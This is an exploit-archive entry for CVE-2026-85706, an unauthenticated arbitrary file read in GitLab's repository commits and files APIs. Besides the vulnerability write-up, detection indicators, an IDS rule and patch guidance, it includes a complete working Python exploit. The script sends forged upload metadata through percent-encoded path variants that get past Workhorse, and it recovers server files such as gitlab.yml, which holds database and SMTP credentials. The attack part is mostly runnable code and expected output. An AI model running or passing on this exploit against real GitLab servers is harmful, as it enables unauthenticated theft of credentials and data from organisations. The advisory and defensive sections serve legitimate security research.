PoC Archive PoC Archive
CVE-2026-85706 category: web CVSS 10 (CRITICAL) KEV
Patched

GitLab CE/EE Unauthenticated Arbitrary File Read via Repository Commits API (CVE-2026-85706)

Published: 2026-11-25 • Researcher: guneykabel (write-up and PoC); s3ntago (original vulnerability report, per upstream README)

Target software GitLab Community Edition and Enterprise Edition (repository commits API and repository files API, Rails + Workhorse)
Affected versions All versions before 18.11.12, 19.0.9, 19.1.8, 19.2.6 and 19.3.2 (NVD ranges). Upstream README narrows the practical range to 18.7–19.1.7, 19.2.0–19.2.5 and 19.3.0–19.3.1; fixed in 19.1.8, 19.2.6 and 19.3.2 on 2026-09-10.
Status PoC
Severity Critical · CVSS 10
CVSS 10.0/10

Exploitation signals

KEV

Confirmed exploited in the wild. Added to CISA KEV 2026-09-11. Federal remediation deadline 2026-09-14.

EPSS 8.7% · 96th percentile

Severity
Critical
CVE
CVE-2026-85706
Category
web
Affected product
GitLab Community Edition and Enterprise Edition (repository commits API and repository files API, Rails + Workhorse)
Affected versions
All versions before 18.11.12, 19.0.9, 19.1.8, 19.2.6 and 19.3.2 (NVD ranges). Upstream README narrows the practical range to 18.7–19.1.7, 19.2.0–19.2.5 and 19.3.0–19.3.1; fixed in 19.1.8, 19.2.6 and 19.3.2 on 2026-09-10.
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-11
Author / Researcherguneykabel (write-up and PoC); s3ntago (original vulnerability report, per upstream README)
CVE / AdvisoryCVE-2026-85706
Categoryweb
SeverityCritical
CVSS Score10.0 (base score as published; the vector string was not included in the source data — see references)
StatusPoC
TagsLFI, arbitrary-file-read, unauthenticated, GitLab, path-traversal, CWE-22, Workhorse-bypass, encoding-mismatch, Ruby, KEV
RelatedN/A

Affected Target

FieldValue
Software / SystemGitLab Community Edition and Enterprise Edition (repository commits API and repository files API, Rails + Workhorse)
Versions AffectedAll versions before 18.11.12, 19.0.9, 19.1.8, 19.2.6 and 19.3.2 (NVD ranges). Upstream README narrows the practical range to 18.7–19.1.7, 19.2.0–19.2.5 and 19.3.0–19.3.1; fixed in 19.1.8, 19.2.6 and 19.3.2 on 2026-09-10.
Language / PlatformRuby (GitLab Rails, Grape, Puma) with Go (GitLab Workhorse); Linux, Omnibus package or Docker image
Authentication RequiredNo
Network Access RequiredYes

Summary

GitLab CE/EE before 18.11.12, 19.0.9, 19.1.8, 19.2.6 and 19.3.2 allow an unauthenticated user to read arbitrary files from the server because of improper path confinement and missing authentication enforcement in the repository commits API. The Rails handlers for the commits and files endpoints take the on-disk path directly from the raw file path request parameter and open the file before any authentication check, while the Workhorse requirement is satisfied by the JWT that Workhorse attaches to every request it proxies. A mismatch between the escaped path Workhorse matches and the percent-decoded path Puma hands to Grape lets a request reach the vulnerable handler without being rewritten into an upload. Upstream also documents that the urlencoded branch parses the file contents with Rack nested query parsing and echoes parser errors, so a file containing a stray percent sign is returned in the error body. The vulnerability was reportedly exploited in the wild and was added to the CISA KEV catalogue.

Vulnerability Details

Root Cause

The vulnerable Rails endpoints (POST :id/repository/commits and POST/PUT :id/repository/files/:file_path) sit behind Workhorse’s requestBodyUploader. The handler reads the on-disk path straight from the raw file.path request field and calls File.open on it before any authorization check runs. The require_gitlab_workhorse! guard does not act as an authentication control, because Workhorse’s signing round-tripper attaches a valid Gitlab-Workhorse-Api-Request JWT to every request it proxies, so anything that falls through to the generic API proxy passes the check. The intended protection was that Workhorse rewrites the request into a normal upload first, but its route regex matches against the escaped path (EscapedPath(), plus a path.Clean clone that never decodes percent escapes), while Puma decodes percent escapes before Grape routing. Percent-encoding any character of a static segment, adding a trailing slash, or appending .json therefore makes Workhorse miss the route while Rails still routes to the vulnerable handler.

Attack Vector

An unauthenticated attacker sends an HTTP request to /api/v4/projects//repository/… with forged unsigned upload metadata supplied as query parameters: an empty file parameter, file.path set to an absolute server path, file.size=1 and Content-Type=application/x-www-form-urlencoded. The empty file value satisfies the requires :file, WorkhorseFile validation because blank coerces to nil. Variants that reach the handler include an encoded static segment (for example %63ommits or %66iles), a trailing slash, and a .json format suffix, against both the commits and files endpoints and with POST or PUT. Path normalization tricks such as //, /./, %2F and semicolon variants do not work, because path.Clean normalizes the first two and Puma refuses %2F.

Impact

Arbitrary local file disclosure from the GitLab server as the GitLab Rails user, without authentication. In the reference chain the file bytes are returned only when the content is parseable by the urlencoded branch as a file containing a percent sign not followed by two hex digits; the resulting Rack::Utils.parse_nested_query error is interpolated into the 400 response body. For files without such a trigger character the read still occurs and the response acts as a file-existence and readability oracle, but the content is not echoed. Files readable by the GitLab user can include gitlab.yml with database and SMTP credentials, secret files, and CI or project data.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker or Omnibus host)
Target:      GitLab CE/EE in an affected range, e.g. 19.1.7, 19.2.5 or 19.3.1
             (docker image gitlab/gitlab-ce:19.1.7-ce.0 or equivalent Omnibus build)
Attacker:    Python 3.8+ with the requests library, same host or LAN
Tools:       Python 3, requests, curl

Setup Steps

Shell script
1
2
3
4
5
6
7
docker run -d --name gitlab-poc -p 8080:80 \
  -e GITLAB_OMNIBUS_CONFIG="external_url 'http://localhost:8080'" \
  gitlab/gitlab-ce:19.1.7-ce.0

python3 exploit.py --url http://localhost:8080 --file /etc/hostname
python3 exploit.py --url http://localhost:8080 \
  --file /opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml

Proof of Concept

Step-by-Step Reproduction

  1. Choose a target file — pick an absolute path readable by the GitLab Rails user; /etc/hostname is a safe first check, gitlab.yml is the high-value target.
  2. Build the bypass URL — keep the static repository segment partially percent-encoded, or add a trailing slash or .json suffix, so Workhorse’s escaped-path regex does not match and does not rewrite the request. The upstream README notes that //, /./, %2F and semicolon variants fail.
  3. Send forged upload metadata as query parameters — file= (blank), file.path=, file.size=1, Content-Type=application/x-www-form-urlencoded. The blank file passes the WorkhorseFile validation, and the read happens before authentication.
  4. Iterate the probe forms — the PoC cycles through encoded commits, encoded files, trailing-slash and .json forms with POST and PUT, and classifies each response (rewrite, missing, leak, leak-fragment, read-noecho, project-gate, noroute) so a failed probe shows where the chain broke.
  5. Recover content or confirm the read — if the target file contains a percent sign not followed by two hex digits, the 400 error body contains the file bytes; otherwise a read-noecho or missing verdict confirms pre-auth file access and existence.

Exploit Code

See exploit.py in this folder; the upstream write-up is archived as upstream-README.md.

The request shape used by the PoC:

Output
1
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/hostname&file.size=1&Content-Type=application/x-www-form-urlencoded
Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests

TARGET = "http://localhost:8080"
TARGET_FILE = "/etc/hostname"
PATH = "/api/v4/projects/1/repository/%63ommits"

query = ("file=&file.path=" + requests.utils.quote(TARGET_FILE, safe="/") +
         "&file.size=1&Content-Type=application/x-www-form-urlencoded")
r = requests.post(TARGET + PATH + "?" + query, timeout=15, verify=False)
print(r.status_code, r.text)

Expected Output

Output
1
2
3
4
5
[*] Target: http://localhost:8080  project=1  file=/etc/hostname
[*] Probing Workhorse-bypass forms (no credentials)...
[*] POST /api/v4/projects/1/repository/%63ommits -> HTTP 400: leak
[+] CONTENT LEAKED via commits POST /api/v4/projects/1/repository/%63ommits:
<raw file bytes from the invalid %-encoding error message>

For a target file without a stray percent sign the tool reports read-noecho or missing instead:

Output
1
2
3
[*] POST /api/v4/projects/1/repository/%66iles/x -> HTTP 401: read-noecho
[!] No content echo obtained. The read still happens pre-auth; 'read-noecho'/'missing'
    responses double as a file-existence oracle.

Detection & Indicators of Compromise

  • Requests to /api/v4/projects//repository/commits or /api/v4/projects//repository/files/* whose static segments contain percent-encoded characters, a trailing slash variant, or a .json suffix.
  • Query strings carrying upload metadata normally produced by Workhorse: a blank file parameter plus file.path, file.size and an explicit Content-Type=application/x-www-form-urlencoded query parameter, especially with an absolute file.path value.
  • 400 responses whose body contains “Invalid parameter: invalid %-encoding” followed by file content, or “Invalid parameter type” fragments.
  • 401 or validation-error responses (branch is required, commit_message is required) to these requests without any session cookie, private token or Authorization header — the read has already occurred.
  • GitLab production_json.log / api_json.log entries for the repository endpoints with no authenticated user and anomalous path encoding; pair with Workhorse or reverse-proxy access logs.

SIEM / IDS rule (example):

Output
1
2
3
4
5
6
7
8
alert http any any -> any any (msg:"GitLab CVE-2026-85706 repository API LFI attempt"; \
  flow:to_server,established; \
  content:"/api/v4/projects/"; http_uri; \
  content:"/repository/"; http_uri; \
  pcre:"/(%[0-9A-Fa-f]{2}[a-z]+|commits\.json|files\/[^?]*\/)/Ui"; \
  content:"file.path="; http_uri; \
  content:"Content-Type=application/x-www-form-urlencoded"; http_uri; \
  sid:9008570;)

Remediation

ActionDetail
PatchUpgrade to 19.1.8, 19.2.6 or 19.3.2 (or later). The fix adds authenticate! to all three endpoints plus the /authorize pre-step, trusts only the middleware-produced UploadedFile for path and size, and stops echoing parser errors (master commit 0d9ce3e7; backports 1fe30154, b43c8b26, 0ff7b6b2).
WorkaroundNo clean workaround is documented; restrict network access to the GitLab HTTP endpoint to trusted users and block unauthenticated /api/v4/projects//repository/ requests at the reverse proxy, and hunt for prior exploitation before patching.
Config HardeningKeep the GitLab instance off the public internet or behind an authenticating proxy, run Rails workers as an unprivileged account with a minimal readable file set, rotate secrets stored in gitlab.yml if a probe may have succeeded, and alert on percent-encoded repository paths with upload-style query parameters.

References

Notes

Auto-ingested from https://github.com/guneykabel/cve-2026-85706 on 2026-11-25.

Review verdict: this is a real exploit, not a detector. The single Python script performs the unauthenticated read against the live GitLab API, cycles through the vendor-verified Workhorse bypass forms, and exfiltrates content through the parser-error echo; the repository classifies responses so testers can see where a probe failed. Status is recorded as PoC rather than Weaponized because content recovery is conditional: the echo only fires when the target file contains a percent sign not followed by two hex digits, the leak regex is greedy up to the last closing parenthesis in the body, and the commits API additionally requires an anonymously readable project id (the files API does not). For files without a trigger character the exploit still proves pre-auth file access and yields a file-existence oracle, which is why it is not a full blind-read primitive.

The upstream repository contains no LICENSE file; the two source files are archived with attribution and a research-only header for authorized testing. The tool was not executed during ingestion. The commit date 2026-09-11 is used as Last Updated.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/guneykabel/cve-2026-85706 (see README for attribution/license)
"""CVE-2026-85706 — GitLab unauthenticated arbitrary local file read (PoC).

Usage please only tests against authorized systems:
  ./exploit.py --url http://localhost:8080 --file /etc/hostname
  ./exploit.py --url http://localhost:8080 --file /opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
"""

import argparse
import re
import sys
from urllib.parse import quote, urlencode
import requests

requests.packages.urllib3.disable_warnings()

USER_AGENT = "cve-2026-85706-poc/2.0" # make sure

COMMITS_BYPASS_PATHS = [
    "/api/v4/projects/{id}/repository/%63ommits",      # encoded 'c' in "commits"
    "/api/v4/projects/{id}/%72epository/commits",      # encoded 'r' in "repository"
    "/api/v4/projects/{id}/repository/commits/",       # trailing slash
    "/api/v4/projects/{id}/repository/commits.json",   # Grape format suffix
]
FILES_BYPASS_PATHS = [
    "/api/v4/projects/{id}/repository/%66iles/{fp}",   # encoded 'f' in "files"
    "/api/v4/projects/{id}/%72epository/files/{fp}",
]

REWRITE_HAPPENED = "Invalid json"          # Workhorse owned the request; params replaced
NOT_PRESENT = "local file not present"     # bypass OK, but target missing/unreadable


def normalize_url(url: str) -> str:
    url = url.rstrip("/")
    if not url.startswith("http"):
        url = "https://" + url
    return url

SESSION = requests.Session()

def probe(base, path, method, target_file):
    query = urlencode({
        "file": "",
        "file.path": target_file,
        "file.size": "1",
        "Content-Type": "application/x-www-form-urlencoded",
    })
    req = requests.Request(method, base, headers={"User-Agent": USER_AGENT}).prepare()
    req.url = f"{base}{path}?{query}"
    r = SESSION.send(req, timeout=15, verify=False)
    return r.status_code, r.text


def classify(status, body):
    """Map a response onto the state of the exploit chain."""
    if REWRITE_HAPPENED in body and "message" in body:
        return ("rewrite", "Workhorse intercepted the request (path form unusable)")
    if NOT_PRESENT in body:
        return ("missing", "bypass OK, handler reached, but File.exist? failed")
    m = re.search(r"Invalid parameter: invalid %-encoding \((.*)\)", body, re.S)
    if m:
        return ("leak", m.group(1))
    m = re.search(r"Invalid parameter type: (.*)", body, re.S)
    if m:
        return ("leak-fragment", m.group(1))
    if status == 401:
        return ("read-noecho", "file exists and was parsed cleanly; no error echo "
                               "(content has no bad %-sequence). Read happened pre-auth.")
    if "branch is required" in body or "commit_message is required" in body:
        return ("read-noecho", "file exists and was parsed cleanly; param validation "
                               "fired after the read. No echo for this content.")
    if "404 Project Not Found" in body:
        return ("project-gate", "Commits API before-block rejected the project "
                                "(needs anonymous read_code; use the Files API instead)")
    if status == 404:
        return ("noroute", "Rails did not route this path form")
    return ("other", body[:200])


def attempt(base, project, target_file):
    """Try every verified bypass form until one reads the target."""
    forms = [("POST", p, "commits") for p in COMMITS_BYPASS_PATHS]
    forms += [("POST", p, "files") for p in FILES_BYPASS_PATHS]
    forms += [("PUT", p, "files") for p in FILES_BYPASS_PATHS]

    fallback = None
    for method, tmpl, kind in forms:
        path = tmpl.format(id=project, fp=quote("x", safe=""))
        try:
            status, body = probe(base, path, method, target_file)
        except requests.RequestException as e:
            print(f"[-] {method} {path}: connection error: {e}")
            continue
        verdict, detail = classify(status, body)
        print(f"[*] {method} {path} -> HTTP {status}: {verdict}")
        if verdict == "leak":
            print(f"[+] CONTENT LEAKED via {kind} {method} {path}:")
            print(detail)
            return True
        if verdict == "leak-fragment":
            print(f"[+] Partial echo via param-name fragment: {detail[:200]}")
            fallback = fallback or (method, path, verdict, detail)
        elif verdict in ("read-noecho", "missing") and fallback is None:
            fallback = (method, path, verdict, detail)

    if fallback:
        print(f"[!] Best non-echo result: {fallback}")
    return False


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-85706 unauthenticated LFI PoC")
    ap.add_argument("--url", default="http://localhost:8080", help="GitLab base URL")
    ap.add_argument("--project-id", default="1",
                    help="Project id. Files API: any value works (read precedes the "
                         "project check). Commits API: must be anonymously readable.")
    ap.add_argument("--file", required=True, help="Absolute path to read on the server")
    args = ap.parse_args()

    base = normalize_url(args.url)
    print(f"[*] Target: {base}  project={args.project_id}  file={args.file}")
    print("[*] Probing Workhorse-bypass forms (no credentials)...")
    ok = attempt(base, args.project_id, args.file)
    if not ok:
        print("[!] No content echo obtained. The file may lack a trigger character "
              "('%' not followed by hex). The read still happens pre-auth; "
              "'read-noecho'/'missing' responses double as a file-existence oracle.")
    return 0 if ok else 1


if __name__ == "__main__":
    try:
        sys.exit(main())
    except KeyboardInterrupt:
        print("\n[!] Interrupted.")
        sys.exit(130)